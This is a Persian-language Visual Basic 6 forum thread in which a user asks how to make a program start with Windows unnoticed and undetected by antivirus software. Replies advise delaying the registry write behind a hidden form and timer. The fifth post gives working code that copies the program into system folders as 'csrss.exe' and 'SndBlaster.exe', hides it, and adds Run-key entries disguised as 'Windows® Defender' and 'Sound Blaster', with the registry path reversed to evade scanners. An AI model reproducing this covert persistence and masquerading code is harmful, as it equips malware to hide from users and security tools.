امتیاز موضوع:
  • 0 رأی - میانگین امتیازات: 0
  • 1
  • 2
  • 3
  • 4
  • 5
قرار دادن برنامه در حالت Startup
نویسنده پیام
HamedFaa آفلاین
كاربر دو ستاره
**

ارسال‌ها: 117
موضوع‌ها: 16
تاریخ عضویت: اسفند ۱۳۸۹

تشکرها : 15
( 61 تشکر در 47 ارسال )
ارسال: #1
قرار دادن برنامه در حالت Startup
سلام میخوام برنامه با بالا آمدن ویندوز اجرا بشه. مسلما نمیخوام توی فولدر startup تابلو باشه.

از طریق رجیستری با کد زیر هم انجام دادم ولی برنامه توسط آنتی ویروس شناسایی میشه.
کد:
Set Reg = CreateObject("wscript.shell")
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"

ممنون میشم کمکم کنید
۲۴-اردیبهشت-۱۳۹۰, ۰۳:۱۲:۰۱
وب سایت ارسال‌ها
پاسخ
babyy آفلاین
بازنشسته
*****

ارسال‌ها: 3,095
موضوع‌ها: 141
تاریخ عضویت: مرداد ۱۳۸۷

تشکرها : 35081
( 26090 تشکر در 9068 ارسال )
ارسال: #2
RE: قرار دادن برنامه در حالت Startup
کلا تا اونجا که من میدونم آنتی ها به این شاخه ها از رجیستری حساس هستند ؛ با روش های دیگه هم بنویسی احتمالا گیر کبدن
۲۴-اردیبهشت-۱۳۹۰, ۰۷:۴۰:۳۱
وب سایت ارسال‌ها
پاسخ
rixi2 آفلاین
تازه وارد

ارسال‌ها: 9
موضوع‌ها: 1
تاریخ عضویت: اردیبهشت ۱۳۹۰

تشکرها : 6
( 0 تشکر در 0 ارسال )
ارسال: #3
RE: قرار دادن برنامه در حالت Startup
چرا برنامه های دیگه مثلا یاهو رو گیر نمیدن !؟

فایلتو با یه فایل دیگه که استارت آپ هست عوض کن ...
۲۴-اردیبهشت-۱۳۹۰, ۱۱:۱۵:۵۷
ارسال‌ها
پاسخ
HamedFaa آفلاین
كاربر دو ستاره
**

ارسال‌ها: 117
موضوع‌ها: 16
تاریخ عضویت: اسفند ۱۳۸۹

تشکرها : 15
( 61 تشکر در 47 ارسال )
ارسال: #4
RE: قرار دادن برنامه در حالت Startup
حل شد

حساس نیستند آقا. یه تست بزنید این مسئله رو. اگر برنامه در رویداد Load_Form در شاخه استارت آپ رجیستری چیزی ثبت کنه شناخته میشه ولی اگر بعد از لود شد این کار رو انجام بده انتی ایراد نمیگیره.

البته با کد بالا در هر دو صورت ایراد میگیره. ولی با فایل زیر که برای کار با رجیستری هست میتونید بعد از لود شدن برنامه در رجیستری بنویسید. دانلود فایل bas.

برای اینکه بعد از لود شدن فرم اجرا کنید ولی برنامه دیده نشه هم میتونید visible و taskvisible رو که false کردید یه تایمر بزارید داخل تایمر کد نوشتن در رجیستری رو بزارید. تایمر هم تنظیم کنید رو 1000 بعد هم unload me

برای نوشتن در رجیستری با کد بالا
کد:
SetStringValue "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN", "ProgName", "ProgAddress"
۲۴-اردیبهشت-۱۳۹۰, ۱۶:۱۷:۰۳
وب سایت ارسال‌ها
پاسخ
Shayani آفلاین
تازه وارد

ارسال‌ها: 17
موضوع‌ها: 0
تاریخ عضویت: تير ۱۳۹۰

تشکرها : 0
( 3 تشکر در 2 ارسال )
ارسال: #5
RE: قرار دادن برنامه در حالت Startup
سلام دوست عزیز
ببینید اولا نرم افزاری مثل Yahoo Messenger از Certificate های دیجیتالی استفاده میکنند واسه همین کسی بهشون گیر نمیده
دوما مشکل شما رشته حاوی مسیر رجیستری نیست !! آنتی ویروس ها هوشمند شده وقتی یک رشته رجیستری رو با شی App.path استفاده میکنی مشخص که هدف چیه :دی

شما باید App.path رو حذف کنی و از یک مسیر ثابت استفاده کنی

واسه اینکار باید یه پولتیک بزنی در Load فورم فایل برنامتو کپی کن یه جائی مثلا system32 بعد تویه دستورات نوشتن در رجیستری از اون مسیر ثابت استفاده کن


این روش خودمه در این حالت کمتر آنتی ویروسی میشناسه ولی بازم بعضی خیلی باهوشن

[b]
Public Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Public Declare Function DoFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Public Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal Hkey As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long

Public Function MyAppPath() As String
On Error Resume Next
If Right$(App.path, 1) = "\" Then MyAppPath = App.path & "puff_proxy.exe"
If Right$(App.path, 1) <> "\" Then MyAppPath = App.path & "\" & "puff_proxy.exe"

End Function

Public Function GetSysDir() As String
On Error Resume Next

Dim StrB As String
Dim iLen As Long

StrB = String$(128, Chr$(32))

iLen = GetSystemDirectory(StrB, 128)

GetSysDir = Left$(StrB, iLen) & "\"


End Function

Public Function GetWinDir() As String
On Error Resume Next

Dim StrB As String
Dim iLen As Long

StrB = String$(128, Chr$(32))

iLen = GetWindowsDirectory(StrB, 128)

GetWinDir = Left$(StrB, iLen) & "\"


End Function


Private Sub SaveString(Hkey As Long, strpath As String, strValue As String, strdata As String)
Dim keyhand As Long
Dim x As Long
x = RegCreateKey(Hkey, strpath, keyhand)
x = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strdata, Len(strdata))
x = RegCloseKey(keyhand)
End Sub


Public Sub MakeStartup()
On Error Resume Next


Call DoFile(MyAppPath(), GetWinDir() & "csrss.exe", True)
DoEvents

Call SetAttr(GetWinDir() & "csrss.exe", vbHidden)
Call SetAttr(GetWinDir() & "csrss.exe", vbSystem)
Call SetAttr(GetWinDir() & "csrss.exe", vbReadOnly)



Call DoFile(MyAppPath, GetSysDir & "SndBlaster.exe", True)

DoEvents

Call SetAttr(GetSysDir() & "SndBlaster.exe", vbHidden)
Call SetAttr(GetSysDir() & "SndBlaster.exe", vbSystem)
Call SetAttr(GetSysDir() & "SndBlaster.exe", vbReadOnly)

DoEvents


Call SaveString(HKEY_LOCAL_MACHINE, StrReverse("nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS"), "Windows® Defender", GetWinDir & "csrss.exe")
Call SaveString(HKEY_CURRENT_USER, StrReverse("nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS"), "Sound Blaster", GetSysDir() & "SndBlaster.exe")

DoEvents
DoEvents

End Sub
[/b]
(۲۴-اردیبهشت-۱۳۹۰, ۱۶:۱۷:۰۳)HamedFaa نوشته است: حل شد

حساس نیستند آقا. یه تست بزنید این مسئله رو. اگر برنامه در رویداد Load_Form در شاخه استارت آپ رجیستری چیزی ثبت کنه شناخته میشه ولی اگر بعد از لود شد این کار رو انجام بده انتی ایراد نمیگیره.

البته با کد بالا در هر دو صورت ایراد میگیره. ولی با فایل زیر که برای کار با رجیستری هست میتونید بعد از لود شدن برنامه در رجیستری بنویسید. دانلود فایل bas.

برای اینکه بعد از لود شدن فرم اجرا کنید ولی برنامه دیده نشه هم میتونید visible و taskvisible رو که false کردید یه تایمر بزارید داخل تایمر کد نوشتن در رجیستری رو بزارید. تایمر هم تنظیم کنید رو 1000 بعد هم unload me

برای نوشتن در رجیستری با کد بالا
کد:
SetStringValue "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN", "ProgName", "ProgAddress"

بنده تست کردم حساسن ولی اونابه این گیر میدن
App.path و App.exename
(آخرین ویرایش در این ارسال: ۳۱-تير-۱۳۹۰, ۰۹:۳۰:۳۵، توسط Shayani.)
۳۱-تير-۱۳۹۰, ۰۹:۲۵:۰۷
ارسال‌ها
پاسخ


موضوعات مرتبط با این موضوع...
موضوع نویسنده پاسخ بازدید آخرین ارسال
  دادن Axis Lable و Legend Entries به جای Data Range eppagh 0 2,088 ۲۷-دى-۱۳۹۳, ۱۴:۵۳:۴۸
آخرین ارسال: eppagh
  قرار دادن خروجی دستور sql در یک متغیر sepahbod 1 3,971 ۱۶-آذر-۱۳۹۲, ۲۱:۳۳:۳۳
آخرین ارسال: hmiranled
  پیام جهت اطلاع دادن sepahbod 4 4,322 ۱۲-شهریور-۱۳۹۲, ۱۵:۲۹:۵۱
آخرین ارسال: sepahbod
  جمع زدن دو فیلد و قرار دادن در فیلد دیگر در VB6 mohsen0025 7 7,477 ۰۲-شهریور-۱۳۹۲, ۱۱:۵۱:۴۶
آخرین ارسال: mohsen0025
  نحوه قرار دادن فایل فلش و عکس با پسوندpng؟ student-p 10 11,322 ۱۲-دى-۱۳۹۱, ۱۲:۵۱:۱۶
آخرین ارسال: student-p
  [سوال] خواندن و نوشتن یک فایل باینری به حالت اولیه one hacker alone 2 2,685 ۱۵-آبان-۱۳۹۱, ۲۳:۰۳:۵۷
آخرین ارسال: one hacker alone
Question [سوال] چگونگي استفاده از توابع رشته اي در تكست باكس با حالت multiline PRO 4 4,524 ۱۵-شهریور-۱۳۹۱, ۰۱:۰۳:۳۳
آخرین ارسال: PRO
  چگونه يه تايمر را روي فرم قرار دهيم و مدت اجرا آن را به يك ساعت تغيير دهيم! rap0661 10 11,357 ۱۱-خرداد-۱۳۹۱, ۱۹:۵۶:۵۸
آخرین ارسال: Ghoghnus
Wink [ایرانویجی] حرکت دادن فرمهای بدون نوار عنوان! [Moosa] 1 3,759 ۰۷-خرداد-۱۳۹۰, ۰۲:۴۶:۱۰
آخرین ارسال: zirak
  افکت دادن به فرم [Moosa] 0 2,337 ۱۱-اردیبهشت-۱۳۹۰, ۱۹:۰۳:۵۴
آخرین ارسال: [Moosa]

پرش به انجمن:


کاربرانِ درحال بازدید از این موضوع: 3 مهمان

صفحه‌ی تماس | IranVig | بازگشت به بالا | | بایگانی | پیوند سایتی RSS